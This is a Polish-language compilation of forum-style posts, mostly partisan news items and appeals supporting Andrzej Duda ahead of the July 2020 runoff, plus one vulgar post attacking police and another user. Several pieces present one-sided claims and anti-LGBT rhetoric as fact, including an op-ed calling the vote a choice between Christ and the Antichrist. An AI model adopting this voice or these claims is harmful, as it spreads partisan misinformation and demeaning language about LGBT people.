
– podano w artykule.

Portal zacytował anonimowo pracowników firmy, według których jej właścicielowi zależy wyłącznie na tym, aby Andrzej Duda przegrał wybory.

„Nie byłem przymuszony, żebym zmienił swoją kandydaturę, jestem przy niej, a dodatkowo jeszcze coś tam może wpadnie”

– powiedział dziennikarzom jeden z pracowników.

Inny mężczyzna oświadczył, że po skreśleniu kandydatury Rafała Trzaskowskiego zrobi zdjęcie, a następnie zakreśli na karcie do głosowania Andrzeja Dudę.

„I głos nie będzie ważny”

– powiedział.

Dziennikarze TVP poprosili o ocenę tych doniesień wicestarostę średzką Małgorzatę Wiśniewską-Zabłocką.

„To bardzo naganne postępowanie. Nie powinno się wywierać presji na pracownika. Żyjemy w wolnym państwie i decyzje powinniśmy podejmować bez żadnej presji”

– powiedziała portalowi wicestarosta.

Według publikacji zarząd firmy nie chciał komentować sprawy

R: 3 / I: 0 / P: 18

Solidarność Walcząca do młodych wyborców Konfederacji

Przedstawiciele Solidarności Walczącej, legendarnej organizacji założonej przez śp. Kornela Morawieckiego, zaapelowali do młodych wyborców Konfederacji o wzięcie czynnego udziału w niedzielnych wyborach. - My starzy, prosimy Was młodych: Weźcie wszyscy udział w drugiej turze wyborów prezydenckich i dokonajcie wyboru, który oddali zagrożenia dla polskiej niepodległości, wolności oraz narodowej tożsamości - napisano w apelu.

Pismo w imieniu członków Solidarności Walczącej podpisał Andrzej Kisielewicz, rzecznik Stowarzyszenia Solidarność Walcząca. Czytamy w nim o zagrożeniach, jakie może nieść za sobą wybór na prezydenta RP osoby, która "gwarantuje skręt w lewo" - czyli Rafała Trzaskowskiego. Poniżej pełna treść apelu.

Apel Solidarności Walczącej do młodych wyborców Konfederacji:

My, członkowie niepodległościowego antykomunistycznego podziemia, w latach osiemdziesiątych działający w szeregach organizacji Solidarność Walcząca, zwracamy się z gorącym apelem do młodych wyborców Konfederacji Wolność i Niepodległość: weźcie czynny udział w niedzielnych wyborach!

My, dużą część swojego życia, często drogo za to płacąc, poświęciliśmy walce z komunistycznym systemem, w tym walce o wolne wybory! Dziś z wielkim niepokojem obserwujemy odradzanie się systemu komunistycznego w nowej formie. Liberalno-lewicowa rewolucja, która ogarnia kraje Zachodu, ma charakter jawnie neomarksistowski. Jej ideologowie wprost odwołują się do Marksa. W rewolucji tej widzimy coraz więcej cech komunistycznego totalitaryzmu: terror jedynie słusznych poglądów, wyrzucanie inaczej myślących z pracy, strach ludzi przed powiedzeniem, co naprawdę myślą — to zupełnie oczywiste przejawy likwidacji wolności słowa i niszczenia demokracji, które my znamy z własnego doświadczenia. Rewolucję tę łączy też z komunizmem: podważanie zasad cywilizacji łacińskiej, deprecjonowanie rodziny, promowanie relatywizmu, aborcji i niemoralnych postaw.

Przed nami wybory, które mogą zadecydować na lata o drodze, którą pójdzie Polska. Wybieramy albo skręt w lewo, który gwarantuje nam Rafał Trzaskowski, przyłączenie się do neomarksistowskiego eksperymentu, albo pozostanie na przeciwnej drodze wzmacniania suwerenności kraju i tradycyjnych wartości patriotycznych i konserwatywnych. Można mieć różne pretensje i zarzuty do prezydentury Andrzeja Dudy, ale nie ulega żadnej wątpliwości, że zgoda na wybór Trzaskowskiego oznacza olbrzymie cofnięcie się na drodze do Polski w pełni wolnej i niepodległej oraz realne ryzyko wchłonięcia Polski przez kolejny lewicowy eksperyment.

W tej sytuacji nie można pozostać biernym. Nie można pozostać w domu. Wstrzymanie się od głosu, to głos oddany na kandydata, który przywrócił w Warszawie ulicę Armii Ludowej, który zdjął tablice z nazwiskami wielkich polskich patriotów, który otacza się ciemnymi postaciami ze zbrodniczą komunistyczną przeszłością, który bierze udział w “marszach równości”. Właśnie głosy młodych wyborców Konfederacji, którzy ulegną niemądrej i partyjniackiej narracji “równego dystansu do obu kandydatów”, mogą zadecydować o tym, że stulecie Bitwy Warszawskiej Polska świętować będzie w różowych i tęczowych barwach z lewicowym prezydentem na trybunie.

Młodzi Przyjaciele! Nie pozwólmy na to! My starzy, prosimy Was młodych: Weźcie wszyscy udział w drugiej turze wyborów prezydenckich i dokonajcie wyboru, który oddali zagrożenia dla polskiej niepodległości, wolności oraz narodowej tożsamości.

Potwierdźmy, że jako naród zasłużyliśmy na Cud nad Wisłą!

R: 0 / I: 0 / P: 18

Tak chcą oszukać elektorat Andrzeja Dudy!

Wciąż kolportowane są fałszywe informacje, że wyborcy Andrzeja Dudy nie muszą już iść do drugiej tury głosowania. Fake newsy przybrały już nie tylko formę internetową, ale też "tradycyjnych" ogłoszeń w widocznych miejscach. Ogłoszenie, do którego dotarł portal Niezalezna.pl, ma logo… inicjatywy realizowanej przez Komitet Obrony Demokracji, a kiedyś wspieranej przez Lecha Wałęsę.

W II turze wyborów prezydenckich 12 lipca ubiegający się o reelekcję prezydent Andrzej Duda zmierzy się z kandydatem Koalicji Obywatelskiej Rafałem Trzaskowskim. Pierwszą turę zdecydowanie wygrał Duda i być może to nie spodobało się jego politycznym przeciwnikom. Rozpoczęto bowiem kolportaż fake newsów, że… wyborcy Dudy nie muszą iść na drugą turę. To oczywista nieprawda! Głosować może (i powinien!) każdy uprawniony do głosowania.

Państwowa Komisja Wyborcza opublikowała swoje stanowisko w tej sprawie opublikowała na początku lipca.

- Państwowa Komisja Wyborcza wyjaśnia, że pojawiające się w serwisach społecznościowych informacje o tym, jakoby wyborcy głosujący w dniu 28 czerwca 2020 r. na kandydata, który uzyskał największą liczbę głosów, mieli nie uczestniczyć w ponownym głosowaniu w dniu 12 lipca 2020 r. (tzw. II turze wyborów), a w głosowaniu tym uczestniczą wyłącznie wyborcy, którzy oddali głosy na innych kandydatów, są nieprawdziwe

- czytamy w piśmie podpisanym przez szefa PKW Sylwestra Marciniaka.

Jak podkreślono, uprawnionymi do udziału w głosowaniu ponownym, czyli w II turze, są wszyscy wyborcy, a sposób głosowania wyborcy 28 czerwca br. nie ma na to uprawnienie żadnego wpływu.

Niestety, fałszywa informacja - jak wynika ze zdjęć zamieszczanych w sieci - jest również kolportowana w sposób tradycyjny, tj. rozwieszana publicznie. Ma to na celu wprowadzenie w błąd starszych wyborców, którzy nie korzystają z internetu. Warto więc przypomnieć seniorom o tym, jak ważne jest oddanie głosu 12 lipca!

Co ciekawe, powyższa informacja ma logo… Obywatelskiej Kontroli Wyborów. Na stronie internetowej OKW czytamy, że to "projekt realizowany przez KOD - Komitet Obrony Demokracji". W 2018 roku tę organizację publicznie wspierał… Lech Wałęsa.

R: 1 / I: 1 / P: 18

W końcu tak się dzieje, że realizacja polskich interesów jest przed obcymi interesami

W końcu tak się dzieje, że realizacja polskich interesów jest przed obcymi interesami - powiedział Andrzej Duda w "Gościu Wiadomości". Prezydent podziękował za zaangażowanie w kampanii wyborczej i poprosił o to, by pójść w niedzielę do wyborów i opowiedzieć się za Polską.

Dziś w programie "Gość Wiadomości" prezydent Andrzej Duda przyznał, że kampania wyborcza, która dobiega właśnie końca, była długa i pełna emocji.

- Dziękuję tym, którzy przychodzili na moje spotkania wyborcze, jest ich tak wiele. Chciałbym też zaapelować, byście państwo poszli do wyborów. Zależy mi, żeby te wybory miały jak najwyższą frekwencję i żebyście państwo opowiedzieli się za Polską. Być może to wybory, które zdecydują, jak będą podążały polskie sprawy w najbliższych latach

- powiedział Andrzej Duda.

Zapytany o bulwersującą sprawę pani Anny, którą wykreślono z list podopiecznych fundacji po tym, jak poparła Andrzeja Dudę, prezydent podkreślił, że to sytuacja, która nie powinna mieć miejsca.

- Znam tę sprawę, rozmawiałem z panią Anną, która została w ten sposób skrzywdzona. Jeżeli ktoś z przyczyn politycznych prześladuje osobę z niepełnosprawnością, to to jest koszmarne. Radna PO z Bydgoszczy wykreśliła podopieczną z listy osób, która może otrzymywać pomoc. Jest to coś, co nie powinno mieć miejsca, a niestety się dzieje

- podkreślił.

Duda odniósł się też do medialnych ataków na siebie, które ostatnio mocno się nasiliły.

- Jestem atakowany albo przez media zagraniczne albo takie, które są w Polsce, ale mają zagraniczny kapitał. Jeżeli zagraniczne media mnie atakują, to znaczy, że ich mocodawcy zagraniczni są niezadowoleni z tego, jaką prowadzę politykę, interesy ich krajów nie są realizowane tak jakby chcieli. Bo są realizowane polskie interesy, po prostu. W końcu tak się dzieje, że realizacja polskich interesów jest przed obcymi interesami

- wyjaśnił.

R: 72 / I: 0 / P: 18

Nowa deska/forum

Każdy chya ma dosyć tego pierdolenia policyjnego kurwa innego psychologa jakiegoś pojebanego kurwa frajera. Zapłace za jakiś serwer, podejme się moderacji, żeby nigdy już w nasze szeregi nie wkradły się żadne RV.Miller i inne kurwy zajebane z policji co im się wydaje za dużo. Potrzebuję kogoś kto by mi zainstalował takie forum.

Jakieś pomysły? Sugestie?

Jebać RV.Miller pisowskiego skurwysynka co udaje, że go tu nie ma.

R: 5 / I: 0 / P: 18

Igły w truskawkach

Igły w truskawkach, pineski w chlebie. Seria szokujących incydentów w supermarkecie

Policja w Australii bada trzy przypadki wykrycia ciał obcych w produktach w jednym z supermarketów – poinformowały organy ścigania Australii Południowej.

Jak podkreślono w komunikacie prasowym, od 27 czerwca do 1 lipca miały miejsce trzy incydenty w sklepie sieci Woolworths w centrum handlowym na obrzeżach Adelajdy.

Metalowe igły znaleziono w truskawkach oraz w awokado, a pineski w bochenkach chleba – podała policja.

Stróże prawa uważają, że przedmioty te zostały celowo umieszczone w produktach spożywczych. Firma Woolworths współpracuje z policją i rozpoczęła własne śledztwo.

W przeszłości igły wielokrotnie znajdowano w truskawkach w Australii. We wrześniu 2018 roku australijska policja wszczęła dochodzenie federalne po serii przypadków odkrycia igieł do szycia w truskawkach co najmniej siedmiu krajowych producentów. Później znajdowano je również w bananach, jabłkach i gruszkach. Premier Australii Scott Morrison ogłosił zamiar zaostrzenia kary więzienia do 15 lat dla tych, którzy podrzucali igły do owoców. Według telewizji Sky News Australia ustawa została zatwierdzona przez Senat.

https://pl.sputniknews.com/swiat/2020070612701113-igly-w-truskawkach-australia-policja-sputnik/

R: 2 / I: 0 / P: 18

Ci wszyscy, którzy twierdzą, że kapitał nie ma narodowości, cynicznie kłamią

- Siły zewnętrzne uzurpują sobie prawo do decydowanie, kto będzie w Polsce rządził; miała miejsce bardzo brutalna i daleko idąca interwencja ze strony prasy niemieckiej - oceniał dziś w Telewizji Trwam prezes PiS Jarosław Kaczyński. To odniesienie do ostatnich ataków mediów z niemieckim kapitałem na prezydenta Andrzeja Dudę.

- Siły zewnętrzne uzurpują sobie prawo do decydowania o tym, kto w Polsce będzie rządził, a to jest odbieranie Polakom czegoś, co jest święte, tzn. niepodległości i suwerenności, i musimy się temu bardzo zdecydowanie przeciwstawić

- powiedział Kaczyński.

- Miała miejsce bardzo brutalna i bardzo daleko idąca interwencja ze strony prasy, nie ukrywajmy tego, niemieckiej po prostu, ale na przyszłość musimy w ogóle zapobiec tego rodzaju sytuacjom

- dodał.

Prezes PiS stwierdził, że władza w Polsce nie może się zgodzić na to, żeby "część narodowego systemu nerwowego" była "w obcych rękach".

- W Czechach przez lata było nieprawdopodobnie gorzej niż w Polsce, a teraz jest inaczej, bo wszystko co było niemieckie zostało wykupione i teraz jest takie czy inne, ale czeskie. Nie możemy się zgadzać na to, że część naszego narodowego systemu nerwowego, a system nerwowy jest zwieńczony przez mózg, była w obcych rękach. Ci wszyscy, którzy twierdzą, że kapitał nie ma narodowości, cynicznie kłamią. Szanujące się państwo pilnuje, by media były w rękach obywateli tego państwa

- powiedział Kaczyński.

W Hiszpanii próbowano założyć duży tabloid i upadł, bo Hiszpanie wiedząc, że to nie było hiszpańskie, po prostu tego nie kupowali. Trzeba kupować czasem towary wyprodukowane gdzieś indziej, jest handel światowy i to służy Polsce, ale trzeba pilnować tego, żeby układ nerwowy w Polsce był polski

- skwitował prezes PiS.

R: 0 / I: 0 / P: 18

Patrzcie, co dostajemy codziennie tylko dlatego, że wspieramy PiS

Trwają ostatnie dni kampanii wyborczej. Przewodnicząca Forum Młodych PiS we Wrocławiu zaapelowała o zaprzestanie siania nienawiści. W krótkim filmie tłumaczy, dlaczego zagłosuje na prezydenta Andrzeja Dudę.

„Jesteście agresywni, nietolerancyjni, wulgarni”

- mówi w udostępnionym w internecie nagraniu przewodnicząca Forum Młodych Prawa i Sprawiedliwości w okręgu wrocławskim, Karolina Mrozowska.

Młoda kobieta przedstawia niektóre ze skierowanych do niej wpisów w internecie.

„Ty pisowska zdradliwa świnio j…na k… zdychaj szmato”, „debilka, zewrzyj p…. bo będzie trzęsło” – można czytać w sieci.

Pokazuje, jakim językiem posługują się zwolennicy opozycji. Przedstawiła niektóre z cytatów Radosława Sikorskiego, byłego wiceprzewodniczącego Platformy Obywatelskiej, aktualnie posła do Parlamentu Europejskiego Koalicji Obywatelskiej.

"Zamknij się, wariatko" - w ten sposób Sikorski, odniósł się do sędzi Trybunału Konstytucyjnego.

- Nawet nie zauważyliście, jak staliście się tymi, którymi gardzicie. Agresja, banał, całkowicie zamknięci w swojej bańce

– mówi Mrozowska przypominając haniebny wpis Zbigniewa Bońka.

"Prezydent Polski dzisiaj może być wybrany głosami ludźmi środowiska wiejskiego, głosami emerytów i ludzi z podstawowym wykształceniem. To chyba trochę dziwne w tak pięknym i rozwijającym się kraju jak nasza Polska" - pisał na Twitterze Boniek.

[poplecam:https://niezalezna.pl/338188-boniek-zdziwiony-ze-prezydenta-wybiora-ludzie-ze-wsi-emeryci-z-podstawowym-wyksztalceniem]

- Gdzie szacunek do bliźnich i rozsądek, którym tak się szczycicie? Wyzywacie nas i odczłowieczacie. Patrzcie co dostajemy codziennie tylko dlatego, że wspieramy Prawo i Sprawiedliwość. Spójrzcie w lustro, gratuluję. Czas na hejt stop!

– stwierdza przewodnicząca FM PiS przedstawiając również wpisy Lecha Wałęsy, czy Władysława Frasyniuka oraz skierowane wobec niej groźby czy wulgaryzmy.

#CzasNaHejtStop ❗️Właśnie dlatego w najbliższą niedzielę głosuję na Prezydenta @AndrzejDuda. #DUDA2020 #PrezydentPolskichSpraw pic.twitter.com/VzhK2VSKJp

— Karolina Mrozowska (@mrozowska_k) July 9, 2020

R: 2 / I: 0 / P: 18

Gdy lewak zostanie prezydentem RP

Tylko takimi dramatycznymi słowami można określić sytuację, w której znalazła się Polska. Udaje się zwolennikom „ojca kłamstwa”, Szatana, doprowadzić miliony ludzi w katolickim kraju do całkowitego zaślepienia i wręcz utraty zdrowego rozsądku niektórych Polaków. Media służące Niemcom potrafiły zrobić Polakom wodę z mózgu. Chciałbym zauważyć, że wojna polsko-polska jest systematycznie podtrzymywana przez antypolskie ośrodki.

Za czasów komunistycznych wszyscy wiedzieliśmy, gdzie jest wróg i że ten wróg kłamie, i że ośrodek wroga jest na Kremlu. Znaliśmy też z nazwiska przedstawicieli kremlowskiej władzy. Teraz ten wróg jest ukryty. Działa przez kłamstwo i przez anty-Dekalog, czyli przez podsycanie nienawiści i propagowanie życia karnawałowego, czyli „róbta, co chceta”, pełnego propozycji rozpasania moralnego, w tym skutecznie prowadzonej akcji pomniejszania autorytetu Kościoła i odbierania mu prawa głosu.

Skutek zatrucia umysłów

Dziś media bezkarnie i w bardzo wyrafinowany sposób ogłupiają Polaków, zwłaszcza ludzi młodych i niedoświadczonych. Jak można doprowadzić tylu ludzi do zaślepienia, jak duże poparcie uzyskuje człowiek podpisujący Kartę LGBT! Przecież wiemy, jak się zachował przy awarii oczyszczalni Czajka – najpierw ukrywał katastrofę, a potem w trudnej sytuacji jego bezradność była ewidentna. Dopiero pomoc rządu uratowała sytuację i uchroniła kraj od katastrofy ekologicznej.

Przypomnijmy tu tak ochoczo podpisaną przez Rafała Trzaskowskiego Kartę LGBT, a także oświadczenie, że chętnie udzieli ślubu parze jednopłciowej. Teraz, w okresie kampanii prezydenckiej, sprytnie unika odpowiedzi na trudne dla niego pytania. Zresztą kampania prowadzona przez jego sztabowców nosi znamiona kłamliwej i skutecznie zmanipulowanej. Przecież wciąż aktualne są pytania, jaki kandydat ma program i jaka to osobowość.

Na wiecach Trzaskowskiego wybrzmiewa hasło: „Mamy dość!”. Pytam: czego macie dość? Szkoda, że kandydat KO nie przyjechał do Końskich na debatę, bo miałby okazję powiedzieć, czego jego zdaniem Polacy mają dość. Przecież przez cały ten czas ten właśnie rząd konkretnie daje coś ludziom. Pomoc dla rodzin, dla ludzi biednych, dla emerytów – te fakty są oczywiste.

Ze strony kandydata Platformy padają tylko obietnice. Jednocześnie wybrzmiewają hasła np. o darmowych żłobkach czy przedszkolach. Ale czy te słowa są prawdziwe? Dziennikarze TVP usiłowali znaleźć pokrycie dla prawdziwości tych słów i, jak stwierdzili, okazało się to niemożliwe.

Gdy lewak zostanie prezydentem RP

Dla mnie te wybory wpisują się w wojnę przeciw cywilizacji chrześcijańskiej. Zachód już tę wojnę przegrał. Tam nie ma już miejsca dla Boga ani dla Dekalogu. Stawiam pytanie: czy to samo chcą zrobić lewacy i wrogowie chrześcijaństwa w Polsce? Ludzie wyznający lewacką poprawność polityczną są im do tego bardzo potrzebni.

Jeżeli do władzy w Polsce dojdzie człowiek sprzyjający Karcie LGBT, to niedługo katolicy będą musieli zejść do katakumb. Tak już przecież jest na Zachodzie. Jeden z księży redaktorów we Fribuorgu we Francji (Mozela) za noszenie koloratki dostał mandat od policjanta. Taki los czeka polskich katolików, jeżeli prezydentem Polski zostanie ktoś sprzyjający ideologii gender i Karcie LGBT.

Bo właśnie lewica, poprzez gender i Kartę LGBT, już teraz wprowadza w Europie komunistyczne porządki. Już teraz zwolennicy Karty LGBT, wrogo nastawieni do samorządowej Karty praw rodzin, wzywają organy samorządów, które ją podpisały, do sądu. To dzieje się w Polsce już teraz. A co będzie, gdy lewak zostanie prezydentem?

Głosowanie, które się zbliża, nie jest głosowaniem tylko na nazwiska. Jest to opowiedzenie się za Chrystusem albo za Antychrystem; to jest spór cywilizacyjny. I dlatego zabieram w tej sprawie głos.

Zobaczmy, że parametry rozchwiania rozumu i oszacowań moralnych, zwłaszcza u młodych Polaków, są niepokojące. Jak bardzo można dzięki kłamstwu dziennikarzy i polityków doprowadzić wielu ludzi do praktycznego oślepienia i zaślepienia zdrowego rozsądku?

Pokazywano mi SMS-a, w którym było fałszywe powiadomienie o tym, że jeśli ktoś głosował w I turze na jej zwycięzcę, to już nie musi iść do wyborów w II turze, bo ten głos z I tury przejdzie na Andrzeja Dudę w II turze. Oczywiste, jest to stronnicze kłamstwo i wprowadzanie w błąd. Kto takie fałszywki przekazuje? Wrogowie prezydenta Andrzeja Dudy wymyślają fałszywki na temat jego samego i jego rodziny. Ten fałszywy SMS rozsyłany do zwykłych ludzi wskazuje, że ci wrogowie nie cofną się przed żadnym łajdactwem.

R: 0 / I: 0 / P: 18

Dzięki obecnej polityce głos Polski jest słuchany w Unii Europejskiej

- Dzięki obecnej polityce głos Polski jest słuchany w Unii Europejskiej, a stosunki z USA gwarantują Polsce bezpieczeństwo – ocenił prezes Prawa i Sprawiedliwości Jarosław Kaczyński w Telewizji Trwam.

Według prezesa PiS za rządów PO-PSL "mieliśmy do czynienia z polityką nastawioną tak naprawdę na realizację pewnego osobistego interesu – osobistego awansu Donalda Tuska".

Jarosław Kaczyński dodał, że obecnie Polska uprawia "dobrą politykę, której niezwykle istotnym elementem jest Grupa Wyszehradzka konstruowana jeszcze przez mojego świętej pamięci brata". Zaznaczył, że ta polityka "prowadzi do tego, że w Unii Europejskiej muszą nas słuchać, w tym sensie, że uwzględniać nasz głos i on jest naprawdę w tej chwili słuchany".

Według lidera PiS "Międzymorze to przedsięwzięcie naprawdę o wielkim wymiarze strategicznym".

"A jeżeli chodzi o to, co w polityce zewnętrznej jest zawsze na pierwszym miejscu, tzn. bezpieczeństwo (…), to obecny stan stosunków polsko-amerykańskich jest naprawdę dobrą gwarancją polskiego bezpieczeństwa"

– powiedział.

Nawiązał też do dyskusji o powiązaniu unijnych finansów ze stanem praworządności.

"Nasi przeciwnicy nieustannie wieścili nam, że poniosą kwestię, jeżeli chodzi o rozdział środków europejskich. W tej chwili na stole leży 700 mld zł na kolejny siedmioletni budżet"

– zaznaczył.

R: 0 / I: 0 / P: 18

Kierowca seicento z Oświęcimia skazany

Wyrok sądu w Oświęcimiu przeczy narracji medialnej, którą słyszeliśmy; sąd uznał winę kierowcy, który był pod zarzutem prokuratorskim spowodowania wypadku – powiedział dziś minister sprawiedliwości Zbigniew Ziobro.

Ziobro na konferencji prasowej w Lublinie został poproszony o odniesienie się do wyroku w sprawie wypadku z udziałem Beaty Szydło.

Szef MS zastrzegł, że nie zna szczegółów wyroku, ponieważ jest w drodze w woj. lubelskim. - Słyszałem, iż sąd orzekł o warunkowym umorzeniu postępowania, a to z instytucji tej wnioskując wynika, że przyjął winę kierowcy, który był pod zarzutem prokuratorskim spowodowania wypadku, będącego w zainteresowaniu całej Polski przez długie miesiące – powiedział.

- Myślę, że to jest wyrok, który przeczy tej narracji medialnej, którą przez długi czas słyszeliśmy z różnych miejsc i mediów, bo nie można raczej sądów podejrzewać o życzliwość wobec prokuratury, czy generalnie wobec środowiska, które te sądy bardzo zmieniają, a jednak sąd stanął na stanowisku, że kierowca popełnił błędy i przyczynił się w ten sposób, spowodował wypadek drogowy. Uznał jednak, że okoliczności sprawy przemawiają za warunkowym umorzeniem postępowania i takie rozstrzygnięcie, rozumiem, zapadło

– dodał Ziobro.

- Szczegóły będę mógł komentować, gdy się z tym wyrokiem zapoznam - zaznaczył.

Oświęcimski sąd rejonowy uznał w czwartek, że kierowca fiata seicento jest winien nieumyślnego spowodowania wypadku w 2017 r. w Oświęcimiu, w którym poszkodowana została m.in. Beata Szydło. Zarazem warunkowo umorzył postępowanie na 1 rok. Sąd uznał, że także kierowca BOR złamał przepisy.

Kierowca seicento musi zapłacić po 1 tys. zł nawiązki poszkodowanym w wypadku – byłej premier Beacie Szydło oraz funkcjonariuszowi BOR. Ma na to 2 miesiące od uprawomocnienia się wyroku. Sąd zwolnił go od kosztów procesu. Wskazał zarazem, że do wypadku przyczynili się też inni uczestnicy ruchu drogowego.

R: 0 / I: 0 / P: 18

Trzaskowski to kandydat niewiarygodny, nieprzewidywalny, kandydat wojny

Rafał Trzaskowski to kandydat niewiarygodny, nieprzewidywalny, kandydat wojny – mówił dziś w Jędrzejowie (Świętokrzyskie) podczas spotkania z mieszkańcami premier Mateusz Morawiecki.

Szef rządu przekonywał do poparcia w wyborach Andrzeja Dudy. Zwracał uwagę, że na finiszu kampanii kandydat KO Rafał Trzaskowski dopuszcza się wielu „kłamstw i manipulacji”.

- Pan Trzaskowski powiedział, że Komisja Europejska stwierdziła, że nasz wzrost gospodarczy jest w strasznych tarapatach i mamy wielkie problemy gospodarcze – powiedział premier prezentując jednocześnie oficjalne danie Komisji, które - jak stwierdził - są sprzeczne z tezami głoszonymi przez Rafała Trzaskowskiego.

- Panie Trzaskowski nie wiem czy pan przypadkiem nie czytał tych danych w odwrotny sposób, może ktoś panu źle podał tę karteczkę do przeczytania? Według prawidłowego odczytu danych Komisji Europejskiej, Polska jest na samej górze tej tabeli ze wszystkich 27 państw Unii Europejskiej. To jest wizytówka zarządzania gospodarczego naszego rządu i pana prezydenta Andrzeja Dudy

- podkreślił Morawiecki.

Szef rządu ocenił, że głos oddany na Rafała Trzaskowskiego „to murowana wojna przez najbliższe trzy lata, to klincz, chaos i paraliż”.

- Szukaliście kandydata, który byłby bezpartyjny. Tymczasem głosując na Trzaskowskiego wybieramy super partyjnego kandydata, on jest wiceprzewodniczącym pana (szefa PO Borysa) Budki, kluczową osobą w partii Platforma Obywatelska – powiedział.

- Szukaliście kandydata, który będzie wnosił pewną świeżość. Tymczasem to człowiek, który był w rządzie Tuska i Kopacz i w tym rządzie podnosił podatki. Jako włodarz Warszawy też podnosi podatki, za wywóz śmieci o 300 procent

– zaznaczył.

Zarzucał, że Trzaskowski to kandydat niewiarygodny. - Dostajecie kogoś, kto z przekonaniem przez lata mówił, że polityka społeczna: 500 plus, 13 emerytura, obniżenie wieku emerytalnego - to rozdawnictwo, katastrofa budżetowa. Ten człowiek zmienił zdanie tuż przed wyborami – powiedział.

- Czy chcecie kandydata ultra partyjnego turbo liberalnego, który politykę społeczną miał za nic? Dzisiaj się przefarbował jak lis, ale takiego wilka w owczej skórze wybierać to wielkie ryzyko. Głos na pana Trzaskowskiego to skok do basenu nie wiedząc czy tam jest woda. To wielki, gigantyczny znak zapytania w środku potężnego kryzysu, z którego Polska wychodzi na szybciej w Europie

– zaznaczył Morawiecki.

Zdaniem premiera, Trzaskowski to „gwarantowany dwugłos w polityce zagranicznej, międzynarodowej. A polityka zagraniczna dzisiaj to klucz do sukces, jedność spójność stanowisk taką, jaką ma rząd z panem prezydentem Andrzejem Dudą” – mówił.

- Rafał Trzaskowski to kandydat niewiarygodnym, nieprzewidywalny, kandydat wojny - podkreślił.

Premier ocenił, że kandydat PO będzie prowokował spory ideologiczne „dostajecie bojownika walki o najbardziej lewicowy światopogląd. Dostajecie kogoś, kto na pewno wdroży kartę LGBT wszędzie we wszystkich miejscowościach. A po co nam jest konflikt światopoglądowy? Chcemy w spokoju pracować” – powiedział szef rządu.

Morawiecki chwalił jednocześnie współpracę z prezydentem Andrzejem Dudą. - Szukacie kogoś, kto szybko będzie realizował cele, chronił gospodarkę - to się uda tylko z Andrzejem Dudą, tylko z panem prezydentem. W czasach ostatnich 5 lat prezydenta Andrzej Dudy, spadało bezrobocie, rosły wynagrodzenia najszybciej w porównaniu do wszystkich poprzednich 5-latek w wolnej Polsce. Czy można znaleźć lepszy dowód na to, kto troszczy się o życie zwyczajnego Polaka, a kto troszczy się o elity brukselskie? – pytał Morawiecki.

R: 0 / I: 0 / P: 19

My chcemy być wielkim europejskim narodem, oni nie chcą

My chcemy być wielkim europejskim narodem, oni nie chcą. Bo wiedzą, że jak będziemy wielkim europejskim narodem to ta "elita" nie będzie miała nic do powiedzenia - powiedział prezes PiS Jarosław Kaczyński w wywiadzie dla Telewizji Trwam. Szef PiS wskazał, jaka jest stawka tych wyborów.

W "Rozmowach Niedokończonych" Telewizji Trwam Jarosław Kaczyński zapytany został, jaka jest stawka niedzielnej drugiej tury wyborów prezydenckich pomiędzy Andrzejem Dudą a Rafałem Trzaskowskim.

- Ta najwyższa stawka to stawka odnosząca się do naszej cywilizacji, naszej kultury. Ci, którzy prą do władzy w wyborach prezydenckich to są ludzie, którzy kwestionują to wszystko co jest naszą tradycją. Mają obyczaj w trakcie kampanii wyborczej próbować wmawiać, że jest inaczej, przecząc temu co bardzo niedawno mówili, ale te fakty są niepodważalne

- powiedział prezes PiS.

Jarosław Kaczyński wymieniał także kolejne kwestie, o które gra toczyć się będzie 12 lipca.

- Mamy też kwestię polityki społecznej - czy ma wspierać rodzinę, tych, którzy znajdują się w trudniejszej sytuacji czy też ma w gruncie rzeczy otwierać drogę dla tych, którzy chcą się szybko wzbogacić i nie mają żadnych oporów, żadnych zasad? Oczywiście łagodzono to zabiegami socjotechnicznymi, ale o polityce prospołecznej nie było mowy, mówiono, że nie ma na to pieniędzy, że doprowadzi to do "nowej Grecji" w Europie (…) To stawka tych wyborów, mogą sobie mówić wszystko, ale wiadomo, że nie dotrzymują słowa

- mówił, wskazując na Koalicję Obywatelską.

Kaczyński wskazał także, że przeciwnicy polityczni PiS często traktują Polskę jako "dodatek do Niemiec".

- Lotnisko w Berlinie jest dobrym przykładem, tu jest to zasadnicza różnica. Odnosi się do godności narodowej. My chcemy być wielkim europejskim narodem, oni nie chcą. Bo wiedzą, że jak będziemy wielkim europejskim narodem to ta "elita" nie będzie miała nic do powiedzenia. Jeżeli będziemy dążyli do siły i wielkości na tę naszą miarę, to wtedy będą rządzili tacy lub inni, ale to będą polscy patrioci, którzy Polsce i Polakom dobrze życzą, nie w ramach szaleństwa ideologicznego

- powiedział szef PiS.

R: 1 / I: 0 / P: 19

Politycy PiS: To symbol naszej polityki

- Przywracane posterunki policji, które były likwidowane za rządów PO-PSL są symbolem polityki rządu PiS i prezydenta Andrzeja Dudy w kwestiach bezpieczeństwa obywateli - mówili w Zaściankach (woj. podlaskie) minister edukacji narodowej Dariusz Piontkowski i były wiceszef MSWiA Jarosław Zieliński.

Obaj podlascy posłowie podsumowali działania rządu na rzecz bezpieczeństwa Polaków: posterunki policji, doposażanie armii, powołanie wojsk obrony terytorialnej, program modernizacji służb mundurowych czy doposażania ochotniczych straży pożarnych.

"Polscy obywatele czują się bezpiecznie i ogromna w tym zasługa działań rządów PiS oraz prezydenta Andrzeja Dudy, który także i w tych kwestiach współpracował z rządem i był inicjatorem wielu działań w tej dziedzinie"

- mówił na konferencji prasowej minister edukacji, pełnomocnik regionalny PiS w Podlaskiem, Dariusz Piontkowski.

"Bezpieczeństwo to jest wielka wartość i chyba każdy z nas to wie, ale z bezpieczeństwem jest tak jak z powietrzem - jak oddychamy czystym powietrzem, to o tym nie myślimy. Kiedy czujemy się bezpiecznie, to nie zwracamy na to uwagi i to jest coś naturalnego. Problem pojawia się wtedy, kiedy tego bezpieczeństwa zabraknie i wtedy odczuwamy tę wielką wartość"

- mówił Jarosław Zieliński.

Ocenił, że pod względem bezpieczeństwa Polska w ostatnich latach "bardzo się zmieniła".

Zieliński mówił, że w Polsce za rządów PO-PSL zlikwidowano ponad połowę z ok. 800 posterunków policji, zostało ich ok. 400. Podkreślił, że rząd PiS je przywraca, dlatego że "mieszkańcy mniejszych miejscowości zasługują na taką samą jakość życia jak dużych miasta". Przypomniał, że w Podlaskiem zamknięto 17 posterunków. W ostatnich latach odtworzono 13 z nich, zbudowano trzy nowe: w Zaściankach, Sokołach i w Raczkach. 4 kolejne są w budowie, gotowy do oddania jest posterunek w Szypliszkach.

Poinformował, że w Podlaskiem przez cztery lata na modernizację służb mundurowych trafiło ok. 300 mln zł, do służb trafiło ponad 400 różnych samochodów.

